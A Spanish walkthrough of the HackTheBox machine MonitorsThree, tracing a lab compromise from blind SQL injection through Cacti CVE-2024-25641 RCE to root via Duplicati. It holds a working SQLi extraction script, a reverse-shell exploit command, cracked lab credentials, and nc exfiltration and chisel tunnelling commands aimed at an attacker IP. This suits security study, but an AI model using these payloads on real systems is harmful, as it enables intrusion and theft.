the_open_door
café
ESEN

MonitorsThree

HackTheBoxMediaLinux10.10.11.30

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#cacti#blind-sqli#cve-2024-25641#rce#credential-reuse#hash-cracking#chisel#port-forwarding#duplicati#auth-bypass#linux
TL;DR. MonitorsThree es una máquina Linux de dificultad media. El sitio principal esconde un formulario de recuperación de contraseña vulnerable a inyección SQL ciega basada en booleano, con el que extraemos carácter a carácter el hash MD5 del usuario admin y lo crackeamos a greencacti2001. Esas credenciales abren un Cacti 1.2.26 alojado en el vhost cacti.monitorsthree.htb, vulnerable a CVE-2024-25641, que nos da RCE y shell como www-data. El config.php de Cacti revela las credenciales de la base de datos; en ella encontramos los hashes bcrypt de los usuarios, y el de marcus cae a 12345678910. Para root, un servicio Duplicati escucha solo en localhost: tras un port forwarding con chisel, recuperamos la server-passphrase de su base de datos SQLite, hacemos un bypass del login y, como Duplicati corre como root, restauramos /root/root.txt a una ruta legible.

Reconocimiento

Escaneo inicial

Empezamos por un escaneo TCP completo de los 65535 puertos, para no dar nada por supuesto sobre lo que hay detrás:

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.30

el escaneo de los 65535 puertos solo descubre el 22 y el 80, ambos respondiendo con syn-ack y ttl 63

Discovered open port 22/tcp on 10.10.11.30
Discovered open port 80/tcp on 10.10.11.30
Completed SYN Stealth Scan at 00:35, 15.61s elapsed (65535 total ports)
Not shown: 64517 closed tcp ports (reset), 1016 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Dos puertos y nada más: 22 (SSH) y 80 (HTTP). La columna REASON regala además un dato que no hay que pedir aparte, el TTL 63, que apunta a Linux (los sistemas de esa familia arrancan el contador en 64 y cada salto de enrutado le resta uno). Sobre esos dos puertos lanzamos la detección de versiones y los scripts por defecto:

nmap -p22,80 -sCV 10.10.11.30

nmap identifica OpenSSH 8.9p1 sobre Ubuntu y nginx 1.18.0, avisando de una redirección a monitorsthree.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La línea Did not follow redirect to http://monitorsthree.htb/ es el aviso de que el servidor responde por nombre y no por IP. whatweb lo confirma pidiendo las dos direcciones seguidas:

whatweb http://10.10.11.30

whatweb muestra un 301 desde la IP hacia monitorsthree.htb y un 200 en el dominio, con nginx 1.18.0 y el correo sales@monitorsthree.htb

http://10.10.11.30 [301 Moved Permanently] HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)],
IP[10.10.11.30], RedirectLocation[http://monitorsthree.htb/], Title[301 Moved Permanently],
nginx[1.18.0]

http://monitorsthree.htb/ [200 OK] Bootstrap, Email[sales@monitorsthree.htb],
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.30], JQuery, Script,
Title[MonitorsThree - Networking Solutions], X-UA-Compatible[IE=edge], nginx[1.18.0]

Por IP responde un 301 y por nombre un 200: hay virtual hosting, así que el nombre tiene que resolver en nuestra máquina para poder navegar (en el laboratorio no hay DNS que lo haga por nosotros). La portada es una web corporativa estática con un correo de contacto, sales@monitorsthree.htb.

Portada de monitorsthree.htb, una web corporativa de soluciones de red

Descubrir el subdominio cacti.monitorsthree.htb

Como el dominio base no ofrece mucho, pasamos a fuzzing de virtual hosts. Con --append-domain, gobuster añade el dominio a cada palabra del diccionario y descubre cacti.monitorsthree.htb, que responde con un 302 hacia /cacti.

Antes de eso, el dominio base tiene que resolver, porque el servidor responde por nombre:

sudo nano /etc/hosts

el /etc/hosts en nano con la línea 10.10.11.30 monitorsthree.htb añadida

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.30     monitorsthree.htb
gobuster vhost -u http://monitorsthree.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain -t 100 | grep -v "Status: 400"

gobuster vhost recorre el diccionario de 114442 palabras y, al 6,79%, ya ha encontrado cacti.monitorsthree.htb con Status 302 hacia /cacti

[+] Wordlist:      subdomains-top1million-110000.txt
[+] Append Domain: true

Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]
Progress: 7772 / 114442 (6.79%)

gobuster vhost descubre cacti.monitorsthree.htb con un 302 hacia /cacti

Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]

Lo añadimos a /etc/hosts en la misma línea del dominio base, que es como se declaran varios nombres para una sola IP:

sudo nano /etc/hosts

el fichero /etc/hosts con la línea 10.10.11.30 monitorsthree.htb cacti.monitorsthree.htb

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.30     monitorsthree.htb cacti.monitorsthree.htb

Al visitarlo aparece el panel de login de Cacti, una herramienta de monitorización de red en PHP. El pie de la página delata la versión: 1.2.26.

Login de Cacti, versión 1.2.26 visible en el pie

Esa versión es vulnerable a CVE-2024-25641, una ejecución remota de código. El problema es que el exploit requiere estar autenticado, así que primero necesitamos credenciales.

Acceso como admin (Cacti)

SQL injection ciega en el formulario de recuperación

Volviendo al sitio principal, el formulario de recuperación de contraseña (forgot_password.php) pide un nombre de usuario y contesta con un mensaje de estado. Ese mensaje es justo lo que lo convierte en un oráculo: si conseguimos que cambie según una condición que nosotros controlamos, el formulario nos está respondiendo "sí" o "no" a lo que le preguntemos. Empezamos con una comilla y una condición verdadera:

' OR SUBSTRING(database(),1,1)='M'-- -

el formulario de Password recovery responde en verde Successfully sent password reset request!

Successfully sent password reset request!

Y ahora la misma consulta cambiando solo el carácter comparado:

' OR SUBSTRING(database(),1,1)='C'-- -

el mismo formulario responde en rojo Unable to process request, try again!

Unable to process request, try again!

Dos respuestas distintas para dos condiciones distintas, y ni un solo error de SQL por ninguna parte: eso es una inyección SQL ciega basada en booleano. No vemos datos, pero podemos preguntar "¿es este el carácter correcto?" tantas veces como haga falta. De paso, que la M mayúscula diera verdadero sobre un nombre en minúsculas no es casualidad: MySQL suele comparar cadenas con una collation insensible a mayúsculas.

Antes de extraer el nombre conviene saber cuántos caracteres tiene, y para eso el mismo oráculo vale con comparaciones numéricas. Se acota por descarte:

' OR LENGTH(database()) >= 16 -- -

el formulario Password recovery con la carga ' OR LENGTH(database()) >= 15 -- - y el banner verde Successfully sent password reset request!

con >= 16 el formulario responde Successfully sent password reset request!

Successfully sent password reset request!
' OR LENGTH(database()) >= 17 -- -

con >= 17 el formulario responde Unable to process request, try again!

Unable to process request, try again!

Verdadero con 16 y falso con 17: el nombre mide exactamente 16 caracteres. Saberlo no es un capricho, es lo que le da al script una condición de parada fiable en vez de dejarlo tanteando.

Automatizamos la extracción con un pequeño script en Python que compara el carácter en cada posición:

#!/usr/bin/python3
import requests, string

URL = 'http://monitorsthree.htb/forgot_password.php'
CHARSET = "," + string.ascii_letters + string.digits + "_"
SUCCESS = 'Successfully sent password'
PAYLOAD = "'or SUBSTR(database(),{},1)='{}' -- -"
db_name = ''

with requests.Session() as session:
    while True:
        for char in CHARSET:
            i = len(db_name)
            resp = session.post(URL, data={'username': PAYLOAD.format(i + 1, char)})
            if SUCCESS in resp.text:
                db_name += char
                break
        else:
            break
    print(db_name)
python3 sql.py

el script imprime la longitud 16 y a continuacion el nombre monitorsthree_db

[16] monitorsthree_db

A partir de aquí solo cambia la consulta que va dentro del payload: el motor de fuerza bruta es el mismo. Preguntando a information_schema por las tablas de esa base de datos:

' OR (SELECT SUBSTR(GROUP_CONCAT(table_name), {},1) FROM information_schema.tables
      WHERE table_schema='monitorsthree_db') = '{}' -- -

el script devuelve las seis tablas de monitorsthree_db

[54] invoices,customers,changelog,tasks,invoice_tasks,users

De las seis, la que interesa es users. Repetimos contra information_schema.columns para saber qué guarda:

' OR (SELECT SUBSTR(GROUP_CONCAT(column_name), {}, 1) FROM information_schema.columns
      WHERE table_schema='monitorsthree_db' AND table_name='users') = '{}' -- -

el script devuelve las columnas de la tabla users, entre ellas username y password

[62] id,username,email,password,name,position,dob,start_date,salary

Ya con username y password localizadas, sacamos el primer usuario de la tabla:

' OR (SELECT SUBSTR(username, {}, 1) FROM monitorsthree_db.users LIMIT 0, 1) = '{}' -- -

el script devuelve la longitud 5 y a continuacion el nombre admin

[5] admin

Un solo usuario en una tabla llamada users da que pensar, así que en vez de fiarnos lo comprobamos: si preguntamos por la longitud del nombre más corto de la tabla, un > 4 verdadero y un > 5 falso significan que el nombre más corto tiene 5 caracteres, es decir, admin mismo.

' OR (SELECT LENGTH(username) FROM monitorsthree_db.users ORDER BY LENGTH(username) LIMIT 1) > 4 -- -

con > 4 el formulario responde Successfully sent password reset request!

Successfully sent password reset request!
' OR (SELECT LENGTH(username) FROM monitorsthree_db.users ORDER BY LENGTH(username) LIMIT 1) > 5 -- -

con > 5 el formulario responde Unable to process request, try again!

Unable to process request, try again!

Confirmado: no hay ningún usuario más corto que admin escondido detrás del LIMIT. Extraemos entonces su password:

' OR (SELECT SUBSTR(password, {}, 1) FROM monitorsthree_db.users WHERE username='admin') = '{}' -- -

el script devuelve un hash de 32 caracteres hexadecimales

[32] 31a181c8372e3afc59dab863430610e8

Crackear el hash y entrar en Cacti

Son 32 caracteres hexadecimales: un MD5 sin sal. Lo crackeamos con john contra rockyou:

El hash se guarda en un fichero con el formato que espera john, usuario:hash, para que la salida diga a quién pertenece:

nano pass.txt

el fichero pass.txt en nano con la línea admin:31a181c8372e3afc59dab863430610e8

admin:31a181c8372e3afc59dab863430610e8
john --wordlist=rockyou.txt --format=Raw-MD5 pass.txt

john carga un hash Raw-MD5 y lo rompe al instante a greencacti2001

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
greencacti2001   (admin)
1g 0:00:00:00 DONE (2024-09-22 21:33) 2.127g/s 16563Kp/s 16563Kc/s 16563KC/s greenconverse..greenbank14
Session completed.

La contraseña es greencacti2001. Con admin:greencacti2001 entramos en el panel de Cacti 1.2.26 y, ahora ya autenticados, podemos lanzar el exploit.

el formulario User Login de Cacti relleno con admin y la contraseña, con la versión 1.2.26 en el pie

Consola de Cacti tras iniciar sesión como admin

Shell como www-data

CVE-2024-25641: RCE en Cacti 1.2.26

La vulnerabilidad CVE-2024-25641 vive en la función import_package() de lib/import.php. Esa función confía ciegamente en el nombre y el contenido de los ficheros incluidos en un "package" de Cacti, y permite path traversal con ../../../: es decir, podemos escribir un fichero arbitrario (un webshell PHP) en la ruta que queramos dentro del servidor.

El propio aviso del fabricante lo describe con más precisión de la que se suele leer en un CVE, y de paso confirma el requisito que acabamos de cubrir:

el aviso de la vulnerabilidad: Cacti <= 1.2.26 (import.php) Remote Code Execution, con la descripción de import_package() que confía ciegamente en el nombre y contenido de los ficheros y no filtra el path traversal

Cacti <= 1.2.26 (import.php) Remote Code Execution Vulnerability

[-] Affected Versions:
Version 1.2.26 and prior versions.

[-] Vulnerability Description:
The vulnerability is located within the "import_package()" function defined into the /lib/import.php
script. This function blindly trusts the filename and file content provided within the uploaded XML
data, and writes such files into the Cacti base path (or even outside, since Path Traversal sequences
are not filtered). This can be exploited to write or overwrite arbitrary files on the web server,
leading to execution of arbitrary PHP code or other security impacts.

Successful exploitation of this vulnerability requires an user account having the
"Import Templates" permission.

Ese último párrafo es el que explica por qué había que crackear el hash antes: sin cuenta autenticada con permiso de importación no hay vector.

Usamos un exploit público que automatiza el empaquetado y la subida (repo). Tras autenticarse con nuestras credenciales, escribe el webshell y nos devuelve ejecución de comandos.

Un detalle que cuesta un rato si no se ve venir: el script sirve el payload por HTTP desde el directorio en el que se ejecuta, así que hay que lanzarlo desde la carpeta del propio exploit. Si se ejecuta desde otro sitio, la víctima descarga un fichero vacío y la shell nunca llega.

python3 exploit.py -u http://cacti.monitorsthree.htb -l admin -p greencacti2001 \
  --lhost 10.10.15.39 --lport 4444

Recibimos la shell como www-data.

nc -lvnp 4444

Shell como marcus

Enumeración inicial y credenciales en config.php

Con la shell recién ganada lo primero es hacerse una idea del sistema, y para eso subimos linpeas.sh (repo) desde un servidor HTTP levantado en nuestra máquina:

wget http://10.10.15.39/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

www-data descarga linpeas.sh en /tmp, le da permisos de ejecución y lo lanza

--2024-09-23 11:19:37--  http://10.10.15.39/linpeas.sh
Connecting to 10.10.15.39:80... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 823059 (804K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 803.77K  1.62MB/s    in 0.5s

2024-09-23 11:19:38 (1.62 MB/s) - 'linpeas.sh' saved [823059/823059]

El barrido automático no destapa ningún SUID raro ni ninguna tarea evidente, pero eso no significa que no haya nada: significa que hay que mirar donde la herramienta no sabe mirar. Y en una máquina cuyo servicio central es Cacti, el sitio obvio es su propia configuración. El config.php de la instalación guarda las credenciales de la base de datos en texto plano.

cat /var/www/html/cacti/include/config.php

config.php de Cacti con las credenciales de base de datos cactiuser:cactiuser

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';

Hashes bcrypt en la tabla user_auth

Nos conectamos a MariaDB con esas credenciales y miramos primero qué hay, antes de ir a ciegas a una tabla concreta:

mysql -u cactiuser -pcactiuser
show databases;
use cacti;
show tables;
mysql -ucactiuser -pcactiuser

el cliente de MariaDB 10.6.18 acepta las credenciales cactiuser:cactiuser y deja el prompt MariaDB none

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 192
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

MariaDB [(none)]>

MariaDB 10.6.18 lista tres bases de datos y, dentro de cacti, decenas de tablas

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| cacti              |
| information_schema |
| mysql              |
+--------------------+
3 rows in set (0.001 sec)

MariaDB [(none)]> use cacti;
Database changed
MariaDB [cacti]> show tables;
+-----------------------------------+
| Tables_in_cacti                   |
+-----------------------------------+
| aggregate_graph_templates         |
| aggregate_graph_templates_graph    |
| aggregate_graph_templates_item     |
| aggregate_graphs                  |
...

Entre las decenas de tablas de Cacti la que guarda los usuarios y sus contraseñas es user_auth:

SELECT username, password FROM user_auth;

Antes de volcar nada conviene saber qué columnas trae la tabla, para pedir solo las dos que importan:

show columns from user_auth;

show columns from user_auth lista id, username, password varchar(256), realm, full_name, email_address, must_change_password y el resto de columnas de control

| Field                 | Type                 | Null | Key | Default | Extra          |
| id                    | mediumint(8) unsigned| NO   | PRI | NULL    | auto_increment |
| username              | varchar(50)          | NO   | MUL | 0       |                |
| password              | varchar(256)         | NO   |     |         |                |
| realm                 | mediumint(8)         | NO   | MUL | 0       |                |
| full_name             | varchar(100)         | YES  |     | 0       |                |
| email_address         | varchar(128)         | YES  |     | NULL    |                |

Tabla user_auth con los hashes bcrypt de admin, guest y marcus

+---------+--------------------------------------------------------------+
| username | password                                                     |
+---------+--------------------------------------------------------------+
| admin   | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G  |
| guest   | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu  |
| marcus  | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK  |
+---------+--------------------------------------------------------------+

El prefijo $2y$ identifica bcrypt, y un identificador de hashes lo confirma sin necesidad de fiarse de la memoria:

un identificador de hashes online devuelve bcrypt $2*$, Blowfish (Unix) para el hash de marcus

$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
Posibles algoritmos: bcrypt $2*$, Blowfish (Unix)

Nos interesa el de marcus, porque es un usuario real del sistema (con /bin/bash) y no solo una cuenta de la aplicación. Lo crackeamos con john:

john --wordlist=rockyou.txt --format=bcrypt hashes.txt

john crackea el hash bcrypt de marcus a 12345678910

12345678910      (marcus)

La contraseña de marcus es 12345678910. Con su marcus cambiamos de usuario y cogemos user.txt.

su marcus
# password: 12345678910
cat /home/marcus/user.txt

el su marcus acepta la contraseña 12345678910 y el prompt pasa a marcus@monitorsthree

su marcus y lectura de user.txt

marcus@monitorsthree:~$ cat user.txt
3e62c0382dbb451102f9c24f0e078414

Shell como root

Un servicio interno: Duplicati en localhost

Enumerando los servicios que escuchan, aparece uno atado a 127.0.0.1:8200 que desde fuera no es accesible. Para llegar a él montamos un port forwarding con chisel (repo): levantamos el servidor en nuestra máquina y, desde la víctima, un cliente en modo reverse que publica el puerto interno 8200 en nuestro 9090.

chisel no está en la máquina, así que hay que llevarlo: lo servimos desde nuestro directorio con un servidor HTTP y lo descargamos con wget desde la víctima.

Primero hay que traérselo a la máquina atacante, desde los releases del proyecto:

sudo wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
sudo gunzip chisel_1.7.7_linux_amd64.gz
python -m http.server 80 < chisel_1.7.7_linux_amd64

el wget sigue el 302 de github.com hasta objects.githubusercontent.com y descarga los 3,1 MB del chisel_1.7.7_linux_amd64.gz

--2024-09-23 23:58:05--  https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-...
Length: 3234355 (3.1M) [application/octet-stream]
2024-09-23 23:58:06 (14.7 MB/s) - 'chisel_1.7.7_linux_amd64.gz' saved [3234355/3234355]

el gunzip avisa de que chisel_1.7.7_linux_amd64 ya existe y pregunta si sobrescribir, se responde que sí

el http.server sirviendo el binario descomprimido en el puerto 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
wget http://10.10.15.39/chisel_1.7.7_linux_amd64
chmod +x chisel_1.7.7_linux_amd64

marcus descarga en /tmp el binario chisel de 7,7 MB desde el servidor HTTP del atacante

--2024-09-23 22:00:44--  http://10.10.15.39/chisel_1.7.7_linux_amd64
Connecting to 10.10.15.39:80... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel_1.7.7_linux_amd64'

chisel_1.7.7_linux_ 100%[===================>]   7.70M  2.98MB/s    in 2.6s

2024-09-23 22:00:47 (2.98 MB/s) - 'chisel_1.7.7_linux_amd64' saved [8077312/8077312]

el ls -l del /tmp de marcus muestra chisel_1.7.7_linux_amd64 con permisos -rwxrwxr-x y 8077312 bytes

marcus@monitorsthree:/tmp$ ls -l
-rwxrwxr-x 1 marcus marcus  8077312 Jan 31  2022 chisel_1.7.7_linux_amd64

Con el binario en su sitio y ya ejecutable, montamos el túnel:

# en el atacante
chisel server -p 9292 --reverse

# en la víctima
./chisel client 10.10.15.39:9292 R:9090:127.0.0.1:8200

Al abrir http://localhost:9090 aparece el login de Duplicati, una herramienta de copias de seguridad. El servicio corre como root, así que controlarlo equivale a comprometer la máquina.

Login de Duplicati expuesto tras el port forwarding

Duplicati
  Password
  [                    ]
  [ Sign In ]

Recuperar la server-passphrase de la base de datos SQLite

Antes de tocar el panel conviene saber dónde vive el servicio en el disco. Un find por el nombre lo sitúa:

find / -name duplicati 2>/dev/null

find localiza /opt/duplicati y /etc/cron.d/duplicati

/opt/duplicati
/etc/cron.d/duplicati

Dos rutas: el directorio de la instalación y una entrada de cron que lo arranca. Dentro de /opt/duplicati/config está Duplicati-server.sqlite, la base de datos donde el servicio guarda su configuración. Lo exfiltramos a nuestra máquina con nc (una escucha en el atacante que redirige a fichero, y en la víctima el fichero por la entrada estándar):

# en el atacante
nc -lvp 4444 > Duplicati-server.sqlite
# en la víctima
nc 10.10.15.39 4444 < Duplicati-server.sqlite

la transferencia con nc: el atacante recibe la conexión desde monitorsthree.htb y guarda el fichero

listening on [any] 4444 ...
connect to [10.10.15.39] from monitorsthree.htb [10.10.11.30] 43082

Con la copia local, la abrimos con sqlite3. En la tabla Option está la server-passphrase, base de la autenticación:

sqlite3 Duplicati-server.sqlite "SELECT * FROM Option;"

Tabla Option de Duplicati con server-passphrase y su salt

server-passphrase       | Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
server-passphrase-salt  | xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=

Bypass del login con la passphrase

Duplicati no compara la contraseña en claro: el navegador hace un reto con nonce y la passphrase. Que ese valor no sea la contraseña original sino un derivado se ve en el propio formato, y un identificador de hashes lo confirma:

un identificador de hashes reconoce la cadena como Base64(unhex(SHA-256($plaintext)))

Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
Posibles algoritmos: Base64(unhex(SHA-256($plaintext)))

Es decir, la server-passphrase almacenada es la contraseña ya hasheada y codificada en Base64. Como el cálculo del reto parte justo de ahí, con ella podemos reproducirlo y autenticarnos sin conocer la original (artículo de referencia). Primero la pasamos de Base64 a hexadecimal, que es el formato que espera el script de bypass que se ejecuta en la consola del navegador:

echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256

el echo con base64 -d y xxd -p -c 256 devuelve la cadena hexadecimal 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

Con ese valor completamos el bypass de autenticación y entramos en el panel como administrador de Duplicati.

el panel de Duplicati ya autenticado, mostrando la tarea existente Cacti 1.2.26 Backup

Next scheduled task:  Cacti 1.2.26 Backup Tomorrow at 1:00 PM
Cacti 1.2.26 Backup
  Last successful backup: Today at 1:00 PM (took 00:00:05)
  Next scheduled run: Tomorrow at 1:00 PM
  Source: 60.02 MB
  Backup: 19.41 MB / 4 Versions

Backup y restauración como root

Duplicati corre como root, y sus operaciones de copia y restauración heredan esos privilegios. La idea es sencilla: si le pedimos que copie /root y luego que restaure lo copiado en una carpeta nuestra, la lectura del fichero la hace él, con sus permisos, no nosotros.

El asistente son cinco pasos. En el primero solo hace falta un nombre, y se deja el cifrado por defecto sin passphrase, que para lo que queremos sobra:

el paso General backup settings con el nombre root, cifrado AES-256 y los campos de passphrase vacíos

En el segundo se elige dónde deja la copia. La ruta empieza por /source/ porque dentro del contenedor de Duplicati la raíz real del sistema está montada ahí:

el paso Backup destination con Storage Type Local folder or drive y Folder path /source/tmp/

Y en el tercero, qué copiar. El árbol permite navegar el sistema de ficheros entero con los privilegios del servicio, así que se marca directamente el fichero que interesa:

el paso Source data con el árbol de directorios desplegado en /root y el fichero root.txt marcado y resaltado

Asistente de Duplicati para añadir una copia de seguridad de /root

Creado el trabajo, hay un paso que es fácil saltarse: la copia hay que ejecutarla. Mientras el trabajo nuevo muestre Last successful backup: Never no existe ningún contenido que restaurar, así que primero se pulsa Run now.

la lista de trabajos con el nuevo trabajo root y su aviso Last successful backup: Never

Cacti 1.2.26 Backup
  Last successful backup: Today at 9:37 PM (took 00:00:10)
root
  Operations: Run now | Restore files ...
  Last successful backup: Never - Run now

el trabajo root ya con "Última copia de seguridad exitosa hoy a las 22:03", origen 33 bytes y el enlace Ejecutar ahora resaltado

root
  Última copia de seguridad exitosa   hoy a las 22:03 (llevó 00:00:00)
  Origen: 33 bytes
  Copia de seguridad: 3,74 KB / 1 Versión

Los 33 bytes de origen son la confirmación de que ha copiado el fichero de verdad: es el tamaño exacto de una flag de HTB (32 caracteres más el salto de línea).

Con la copia hecha, en Restore files se elige el fichero a recuperar:

la pantalla Restore files from root con el desplegable de versión, el árbol /source/root/ y root.txt marcado

Y en las opciones marcamos Pick location apuntando a una ruta escribible por marcus en lugar de la original:

las opciones de restauración con Pick location apuntando a /source/home/marcus/root.txt y Overwrite marcado

Where do you want to restore the files to?  Pick location
Folder path: /source/home/marcus/root.txt
How do you want to handle existing files?   Overwrite
Permissions: Restore read/write permissions

El /source/ del principio no es un capricho: dentro del contenedor de Duplicati la raíz del sistema está montada ahí, así que /source/home/marcus es el /home/marcus real de la máquina.

Duplicati confirma que los archivos se han restaurado con éxito

Con la restauración completada, en el directorio de marcus aparece un root.txt que en realidad es la carpeta destino que indicamos, y dentro, el fichero ya legible.

ls
cd root.txt
cat root.txt

marcus lista su directorio, entra en root.txt y lee la flag

marcus@monitorsthree:~$ ls
root.txt  user.txt
marcus@monitorsthree:~$ cd root.txt
marcus@monitorsthree:~/root.txt$ ls
root.txt
marcus@monitorsthree:~/root.txt$ cat root.txt
f212ea96c5e504d9b442adf13d4a06a3

Máquina rooteada.

Panel de HTB con la user flag y la root flag de MonitorsThree (10.10.11.30) marcadas como owned

Cadena de ataque

HTTP monitorsthree.htb (80)
  │  forgot_password.php: SQLi ciega booleana
  ▼
monitorsthree_db.users  ─►  admin MD5 31a181...  ─►  john  ─►  greencacti2001
  │  vhost cacti.monitorsthree.htb  ─►  Cacti 1.2.26
  ▼
login admin:greencacti2001  ─►  CVE-2024-25641 (import_package RCE)  ─►  www-data
  │  config.php: cactiuser:cactiuser
  ▼
MariaDB user_auth  ─►  marcus bcrypt  ─►  john  ─►  12345678910  ─►  user.txt
  │  chisel: 127.0.0.1:8200 ─► localhost:9090 (Duplicati, root)
  ▼
Duplicati-server.sqlite  ─►  server-passphrase  ─►  bypass de login
  │  backup de /root + restore (como root)
  ▼
root.txt

Lecciones aprendidas

  • Una inyección ciega también lo filtra todo, solo que despacio. El forgot_password.php devolvía dos respuestas distintas según una condición booleana, y eso basta para reconstruir la base de datos carácter a carácter con SQLi ciega. Consultas parametrizadas habrían cortado el vector de raíz.
  • Un hash sin sal es una contraseña a un diccionario de distancia. El MD5 de admin cayó al instante; el bcrypt de marcus, al ser una contraseña débil (12345678910), también. El crackeo solo depende de la calidad de la contraseña y del algoritmo.
  • El fichero de configuración es un llavero. El config.php de Cacti guardaba las credenciales de la base de datos en claro, y desde ahí llegamos a los hashes de los usuarios. Conviene separar secretos del código y restringir su lectura.
  • Lo que escucha en localhost no es invisible. Duplicati solo aceptaba conexiones internas, pero un port forwarding lo trae a nuestro alcance. La segmentación de red ayuda, pero no sustituye a autenticar y endurecer cada servicio interno.
  • Una passphrase almacenada es una credencial. Guardar la server-passphrase en una base de datos legible permitió el bypass del login sin conocer la contraseña original. Que un servicio de backup corra como root convierte ese descuido en compromiso total: lectura (y escritura) de cualquier fichero del sistema.
Cheatsheet de comandos 12 comandos

Repaso rápido